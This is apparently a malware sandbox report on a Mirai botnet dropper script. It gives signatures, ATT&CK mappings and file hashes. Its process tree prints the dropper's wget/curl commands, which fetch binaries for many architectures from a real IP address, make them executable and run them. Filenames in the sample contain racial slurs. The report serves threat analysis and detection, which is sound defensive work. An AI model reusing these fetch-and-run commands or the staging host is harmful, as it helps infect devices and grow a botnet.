mirai | 23023b865ce51c4eedd56707c5ca7af36e5a6e3c721ddd2606db15bee813f38a

Analysis

max time kernel
149s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/03/2025, 11:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
Size

2KB
MD5

4a5b9744593a1e2c7ffc5088a4481f5f
SHA1

61b4d769440d4c2cc4a2eadb2d8902589ebd7686
SHA256

23023b865ce51c4eedd56707c5ca7af36e5a6e3c721ddd2606db15bee813f38a
SHA512

343cceaf82065cdeeeafc4068feafbace1fe4fd1cc1c689c8869a485206ef5a47248ab6c1b6f86133921e40d211f18495dd7ff3a6865fbbb85ee4749fe849121

Score

10^/10

mirai mirai antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
835	chmod
664	chmod
730	chmod
783	chmod
796	chmod
817	chmod
771	chmod
791	chmod
801	chmod
722	chmod
777	chmod
811	chmod
678	chmod
750	chmod
823	chmod

Deletes itself 2 IoCs

pid	Process
784	HAHAWTFNIGGA
802	HAHAWTFNIGGA

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/HAHAWTFNIGGA	667	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	679	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	724	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	731	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	751	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	772	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	778	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	784	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	792	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	797	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	802	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	812	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	818	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	824	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	836	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	HAHAWTFNIGGA
File opened for modification	/dev/watchdog	HAHAWTFNIGGA
File opened for modification	/dev/misc/watchdog	HAHAWTFNIGGA
File opened for modification	/dev/watchdog	HAHAWTFNIGGA

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	HAHAWTFNIGGA

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-12.dat	upx
behavioral2/files/fstream-15.dat	upx
behavioral2/files/fstream-18.dat	upx
behavioral2/files/fstream-20.dat	upx
behavioral2/files/fstream-22.dat	upx
behavioral2/files/fstream-24.dat	upx
behavioral2/files/fstream-26.dat	upx
behavioral2/files/fstream-28.dat	upx

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ednbp3hmh7rvqcdjtt2e	784	HAHAWTFNIGGA
Changes the process name, possibly in an attempt to hide itself	ntb72eibhqrm	802	HAHAWTFNIGGA

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	HAHAWTFNIGGA

Reads runtime system information 33 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	HAHAWTFNIGGA
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	HAHAWTFNIGGA
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	HAHAWTFNIGGA
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
676	cat
669	wget
671	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/HAHAWTFNIGGA	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
File opened for modification	/tmp/i468	curl
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/spc	curl
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/arc	wget
File opened for modification	/tmp/arc	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/spc	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm	curl

/tmp/GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:635
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/x86
  2⤵
  - Writes file to tmp directory
  PID:637
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:656
- /bin/cat
  cat x86
  2⤵
  PID:663
- /bin/chmod
  chmod +x GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86
  2⤵
  - File and Directory Permissions Modification
  PID:664
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:667
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:669
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:671
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:676
- /bin/chmod
  chmod +x GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:679
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arc
  2⤵
  - Writes file to tmp directory
  PID:682
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/cat
  cat arc
  2⤵
  PID:721
- /bin/chmod
  chmod +x arc GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:724
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/i468
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/cat
  cat i468
  2⤵
  PID:729
- /bin/chmod
  chmod +x arc GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 mips systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:731
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/i686
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat i686
  2⤵
  PID:748
- /bin/chmod
  chmod +x arc GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:751
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/x86_64
  2⤵
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/cat
  cat x86_64
  2⤵
  PID:770
- /bin/chmod
  chmod +x arc GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:772
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/mpsl
  2⤵
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat mpsl
  2⤵
  PID:776
- /bin/chmod
  chmod +x arc GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:778
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm
  2⤵
  - Writes file to tmp directory
  PID:780
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/cat
  cat arm
  2⤵
  PID:782
- /bin/chmod
  chmod +x arc arm GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:784
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm5
  2⤵
  - Writes file to tmp directory
  PID:786
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat arm5
  2⤵
  PID:790
- /bin/chmod
  chmod +x arc arm arm5 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:792
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm6
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat arm6
  2⤵
  PID:795
- /bin/chmod
  chmod +x arc arm arm5 arm6 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Reads runtime system information
  PID:797
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm7
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/cat
  cat arm7
  2⤵
  PID:800
- /bin/chmod
  chmod +x arc arm arm5 arm6 arm7 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:802
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/ppc
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/cat
  cat ppc
  2⤵
  PID:810
- /bin/chmod
  chmod +x arc arm arm5 arm6 arm7 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl ppc systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:812
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/spc
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/cat
  cat spc
  2⤵
  PID:816
- /bin/chmod
  chmod +x arc arm arm5 arm6 arm7 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 mips mpsl ppc spc systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:818
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/m68k
  2⤵
  - Writes file to tmp directory
  PID:820
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat m68k
  2⤵
  PID:822
- /bin/chmod
  chmod +x arc arm arm5 arm6 arm7 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 m68k mips mpsl ppc spc systemd-private-36f55fd89685479ca6ab9e820cab64ec-systemd-timedated.service-FMGQco x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:824
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/sh4
  2⤵
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat sh4
  2⤵
  PID:831
- /bin/chmod
  chmod +x arc arm arm5 arm6 arm7 GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 i686 m68k mips mpsl ppc sh4 spc x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/HAHAWTFNIGGA

Filesize
62KB

MD5
389c5f8ed32b8cce658250b85d0909f1

SHA1
012cf5c76f47c2cbbb57dca4e5e8876e09daadfe

SHA256
af1b5f8c2ee90908decefdba655945ddcb6b5138cc88bad9bdfc38773016dfee

SHA512
f8ff9ab49735b8a26f6249b7b9b80e64d0a9759859294a5e0c0487402260523f10f5fab5a31f8705005ab4087f5279a6db7f51c49599c0107e4d7c184c83f59b

Download Submit
/tmp/arc

Filesize
97KB

MD5
309ce58d45868f5e94cd67ec757cb4bd

SHA1
65ed2b7eaaf92b0774fad9cf9777f8fba9f6615b

SHA256
b674d785b610b33a48d7d9ebbb4b73e57d512ecf93cf74991d96ea660c7613d1

SHA512
778a9f8f2a71008a79906e3160b593b38fe3b5124ba7761dae262132475bea87d2a79f60a924a3d1c73431b62b392e3ce4d357722d770cc67e53e95cafa8a1db

Download Submit
/tmp/arm

Filesize
27KB

MD5
34539878e0690ca404966bbc089aafbc

SHA1
81912ea12dd9258400f5fcce7d9301bc3086ca38

SHA256
629ce101e1d8030a62f520be07330e22430ca4433f2d7bb1af8ff208be9126db

SHA512
857832305482bf0efd317fb3d37a1903e9d4abf6d90b7e395cd3e2b31b43a82f241491422e5ad01942ac5701d53057576a9c1b56e40ab3f1c2ac4d589a71e07d

Download Submit
/tmp/arm5

Filesize
17KB

MD5
5c5594976ba23697c410e1be2b3845d3

SHA1
736a24683b40ac15607b4a8808050f8fc426fde7

SHA256
10b40ef6ee67fb22cbe03c35b19bf09e2039d4771a95d16d5be2c3fa5447eb13

SHA512
8e7f212f2a2cc531ec20a66f98dd92618cd35177c117cd666e6e3b3b8d301cc977545f4a2c51fbdbc283ebf6eb112279f7fe3502f1daf8d63f8353ca75e4113d

Download Submit
/tmp/arm6

Filesize
32KB

MD5
401b495efa9869dea27da3f8f3378871

SHA1
db5f153c41eb31e1140c779cfc5d2784401f6e8b

SHA256
7949bcacfa5e109101323f674f8446883021e14a27399f0bfa474a6858af1e74

SHA512
2c50a9ea9918a8cda338dcce3952f375285b5cef71928e5a15b3c9352a3c8027a747ad4352f5b6e06624ee3cca859c740e2d70da95befedc45e682ab78183e7e

Download Submit
/tmp/arm7

Filesize
52KB

MD5
f8284f514b6ad487a92b1c0703d552a8

SHA1
4086f18ae54e26c5a11de66def6877ef0b252b79

SHA256
e1d66b1b928c923215c1ce79d895fe086edb63d347993379122513236d99b2e9

SHA512
780b4a2cb7dd19c735cada0fe70e6ab7cfbb4fc21bdc1324d6ab32435feff94198c4cee5f1e3bd39f5e11fb04a3c777a496dac776199091d0321b2648d7bdeac

Download Submit
/tmp/i468

Filesize
216B

MD5
d72f83fc50cd06cfb6262bd2b0d36d7b

SHA1
61baf23fce5dd0e609b089ec3cfb3695045f711c

SHA256
53dc458cbead72e3470276f1865da288b8ceda654fc91ce7067e97dac73e8b88

SHA512
258f93c2d67e39005ab4f7c0c4a56d1392f49b247bc87086223c23cbd2486c355c11881fb76170fef777b71dde458e1b6c02803bfb65d85a98ed59b83aebd03f

Download Submit
/tmp/i686

Filesize
26KB

MD5
7be047aad03862b336186f2b4f378b74

SHA1
7b417da16cc0db4c62d552332f64e82a525ba0c9

SHA256
bdd96f70b8ad52353baa09e1dabfd694eb503b67e011b5d2051252d0a7113b94

SHA512
eae770123cfc84eda9f6525577aa8fae3ccb9b314181b394377d98a1d0e122c0f6c4cf2059fc97bcc4cdd52d951ffe004922f8ee92a42732866e20487ba92e2f

Download Submit
/tmp/m68k

Filesize
62KB

MD5
e6162adecea289010f1a5d76561dda5f

SHA1
ac905b3238ef7033f1edcd0b9f4354563e763718

SHA256
c50ae8cce82d9e1eb9f5a0993f852915a489848d8529118c2b972fe9f55e58df

SHA512
3e2b096d267651a8ebfc533591e16dfc571f83c0a560a6df9b3cc89964045bb0c03c6d44972569e922771f8204be0beed367a1071d44ea9ea06a88b969072fe7

Download Submit
/tmp/mips

Filesize
29KB

MD5
1127aa9f3861f5d8b5c62fe8ec0de69f

SHA1
efd01041933d6267f0fc7acf24e431ebd7b13b56

SHA256
bfbb821385ff41c0f699607eaed0ac9a7374370e876e0b38decc29191f89575b

SHA512
b162e666b22e8ced46afeb66e6cc588f9c1fac17038f794a7dc3fdc072898e6f224d76a2969488c0054ef762a98b0e8e9735a5708e766ee7c312dac0545ea536

Download Submit
/tmp/mpsl

Filesize
30KB

MD5
598a47dd02119cfb425220bae9350c91

SHA1
fc2855fd455afc55678b08b02d744b1563a0f7f3

SHA256
eb1d3a18f78becd8d17cf358bae0c2fb98ffcc185197f3eeee9b14ef014de9f9

SHA512
6a580e1a62078fca8929f5001891bf9a28369ba58742fd82bed80d2116fae831acf1aae24a58218f28b3912ec8db281f25c0ff760288b9480b5cc96da1fc5619

Download Submit
/tmp/ppc

Filesize
26KB

MD5
d9ea67c781436e1622cea76086ec1bc9

SHA1
2c82d0c28ce7757c13a292af632e5a2c108c2257

SHA256
cdcc19eec2ff0e5d6adc583fbad096b2ad524e96a4fd2fa713c57ec76335e38e

SHA512
ce3153f6ce33e4d7da9d303ef3d39d2c0a51048744e1c92c248e51f73e1f7740cde0d91ecd5c255aa535c731326f975c7d563024753e5efbe5f54abf87b169ed

Download Submit
/tmp/sh4

Filesize
50KB

MD5
78cea17277cff09c435fa65ba232f796

SHA1
60888112ec2c6f0825d5853de8f75244b38f93b3

SHA256
43848dd30ca6f6e93ec859ffbc8cb9dd8705f574fb7ebfa2787abeda91d674d8

SHA512
16051743273ccf34f40a774d2f6271a0e29b21b2d860fc7adb864325a277bb3fc5d3b0ea1f778500be881b0557022986cdd8645bb8430d3930d192c751c5d314

Download Submit
/tmp/spc

Filesize
61KB

MD5
9a369680a68de910190c97c835de0595

SHA1
c086d86b85783bd0a20f10a2505f3333039cd723

SHA256
82fe145e52831b7d52335ec0ac788decbe39a5fcb7c38371c1b31bff64889393

SHA512
dfa51384e80cb6fe8e65c2724398315252906c931cfdda4cf418a9dd315c2e48d7b6d8952021386113ff0f048f403583b1a8c5118babb3738fb33c82f15876f1

Download Submit
/tmp/x86

Filesize
25KB

MD5
22834e5a7f735f91e6a4287270738076

SHA1
ffeb3c2033ca242b1a0a938e219449ff01a737e3

SHA256
e23ffbd31fb401b2b403a0c2ddf088b3bf51c43ef6666500b344c0b0965a0256

SHA512
3d3c0cf3225e3cefdc99d921d7e5954dd9a01916f8c43e93842bf8044d91c8aed4dbe3c5f6a1b663aab9812797f5f1b013b7e6f7ef7efc22173d229b321107ef

Download Submit
/tmp/x86_64

Filesize
28KB

MD5
7851753edd9a4ba9f8a3d983962c0be6

SHA1
58202770c5e899ecb5b6b40dd83aa97a3f5b6b18

SHA256
256d593a533d23bb0dc5632f46ec78f3013238b30e9752743ac54e07c22b733e

SHA512
5a73577fd8f7d8204afc1b03ba1c0ca8b932d40caa524da086cd14da7ed20c52b8baf5f0d776d1fdbe59ea227c044f3b84f5ed9171107ca614f34849bbe61a3f

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads